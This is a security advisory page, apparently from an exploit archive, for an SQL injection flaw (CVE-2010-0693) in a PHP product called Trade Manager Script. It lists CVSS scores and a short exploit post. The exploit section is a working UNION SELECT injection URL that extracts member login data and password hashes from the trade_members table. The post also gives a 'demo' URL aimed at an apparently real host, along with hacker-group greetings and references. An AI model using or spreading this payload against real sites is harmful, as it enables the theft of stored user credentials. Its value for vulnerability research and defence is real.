Trade Manager Script SQL injection Vulnerability

Published
Credit
Risk
2010.02.26
JaMbA
High
CWE
CVE
Local
Remote
CWE-89
CVE-2010-0693
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
7.5/10
6.4/10
10/10
Exploit range
Attack complexity
Authentication
Remote
Low
No required
Confidentiality impact
Integrity impact
Availability impact
Partial
Partial
Partial




# Exploit Title: Trade Manager Script SQL injection Vulnerability
# Date: 11/02/2010
# Author: JaMbA
# Software Link: N/A
# Version: all version
# Tested on: Windows & Linux
# CVE : ()

:::::::::::::::::::::::::

Exploit Title : Trade Manager Script SQL injection Vulnerability

Author : JaMbA

Script Site : www.commodityrentals.com<http://www.commodityrentals.com>

Version : All Versions

Tested on : Windows & Linux

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

:::::::::::::::::::::::::

=====================================Exploit===============

=========================

[ EXPL0!T ]

http://server/products.php?cid=-17+UnioN+AlL+SelEct+1,concat(sb_lastlogin,0x3e,sb_password),3,4,5,6,7,8+from+trade_members--

[ D3M0 ]

http://trademanager.webmyneproducts.com/products.php?cid=-17+UnioN+AlL+SelEct+1,concat(sb_lastlogin,0x3e,sb_password),3,4,5,6,7,8+from+trade_members--


===========================================================
Good luck for the Tunisian team handball in Can
=========================

Greetz to : Alnjm33-virus-pal - Predator-bingo2 - xXx-jago-dz -inejcteur-4PY-SaYrOs- XR57 -Tr0y-x Ahmadso -alsaek
=== 3SI lycee jbel jloud ====





References:

http://xforce.iss.net/xforce/xfdb/56223
http://www.exploit-db.com/exploits/11412
http://secunia.com/advisories/38556
http://packetstormsecurity.org/1002-exploits/trademanager-sql.txt
http://osvdb.org/62294


See this note in RAW Version

 
Bugtraq RSS
Bugtraq
 
CVE RSS
CVEMAP
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn


Copyright 2017, cxsecurity.com